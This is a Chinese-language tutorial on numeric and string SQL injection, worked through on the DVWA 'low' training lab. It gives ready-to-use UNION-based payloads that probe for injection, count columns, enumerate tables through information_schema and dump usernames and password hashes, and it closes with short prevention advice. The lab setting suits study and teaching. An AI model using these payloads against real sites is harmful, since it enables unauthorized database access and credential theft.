sql注入数字型和字符型的原理 //(dvwa实战 sql injection low)

您所在的位置:网站首页 sql手工注入详细教程图 sql注入数字型和字符型的原理 //(dvwa实战 sql injection low)

sql注入数字型和字符型的原理 //(dvwa实战 sql injection low)

2023-09-09 12:01| 来源: 网络整理| 查看: 265

1、数字型注入

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:

(1) 加单引号,URL:www.text.com/text.php?id=3’

对应的sql:select * from table where id=3’ 这时sql语句出错,不符合sql语法,让数据库系统报错,如果没报错就说明 ‘ 被过滤了,这样不存在注入的可能或者是字符型注入。

(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

and 1=1 是正确语句 可以返回正确页面 ,而and 1=2 为错误语句 不少网站设计时利用参数过滤了 而没过滤的 直接把值赋给变量 就形成了注入漏洞

如果满足以上三点,则可以判断该URL存在数字型注入。

 

2、字符型注入

如果在以上第(3)步,发现语句正常执行,且原始网页没有变化。那么可以排除是数字型的注入。当然也不能确定是字符型注入。

(1)若 输入:1' and '1'='1 成功:

(2)输入:1' and '1'='2,失败,没有查出东西,说明是字符型的注入:

 

3、手工注入思路 自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

 

首先先介绍一些原理。

1. 通过#进行注释

2.select 后面跟上数字只是为了占位,输出出来的可以是数据库中任意一列。

3.mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息    information_schema.schemata 记录所有的数据库名称    Information_schema.tables: 记录表名信息的表(也有数据库名字段)    Information_schema.columns: 记录列名信息的表(数据库名、表名、字段名)

4.联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入

 

1.判断是否存在注入,注入是字符型还是数字型

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

输入1,查询成功:

 

 

 输入:1 and 1=1,成功:

 

  输入:1 and 1=2,成功,可以知道并不是数字型的注入:

 

 输入:1' and '1'='1 成功:

 

 

 输入:1' and '1'='2,失败,没有查出东西,说明是字符型的注入:

 

 2.猜解SQL查询语句中的字段数

输入1′  order by 2 #,查询成功:(注意此处的语句,#是注释后面的单引号,前面的’是闭合SQL的“,一定要记住ORDERBY 后加数字不是字符 )

 输入1′  order by 3 #,查询失败:

 

 

 

 说明执行SQL查询的只有两个字段,就是这里的First name、Surname。

3.确定显示的字段顺序。

输入1′ union select 1,2 #,查询成功: #是注释作用,union是联合查询

 

 

 说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

4.获取当前的数据库

输入1' union select 1,database() #,#注释作用,database函数获取当前连接的数据库,查询成功:

 

 数据库是DVWA。

5.获取数据库中的表

输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

 

 

 说明数据库中,有两个表:guestbook与users。

6.获取表中的字段名

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ,查询成功:

 

 users表中一个有8个字段,其中包括,user_id,first_name,password。

7.得到数据

输入:1' union select group_concat(user_id,first_name),group_concat(password) from users #,查询成功:

 

 可以看到查询1的内容是id和用户名,查询2的内容是password,注意,此处是密文,需要MD5转换(百度即可):

 

 

 这样,我们就拿到了低级手工注入的所有用户名和密码。

 

 

4.sql注入的预防

1.只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。

2. 对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3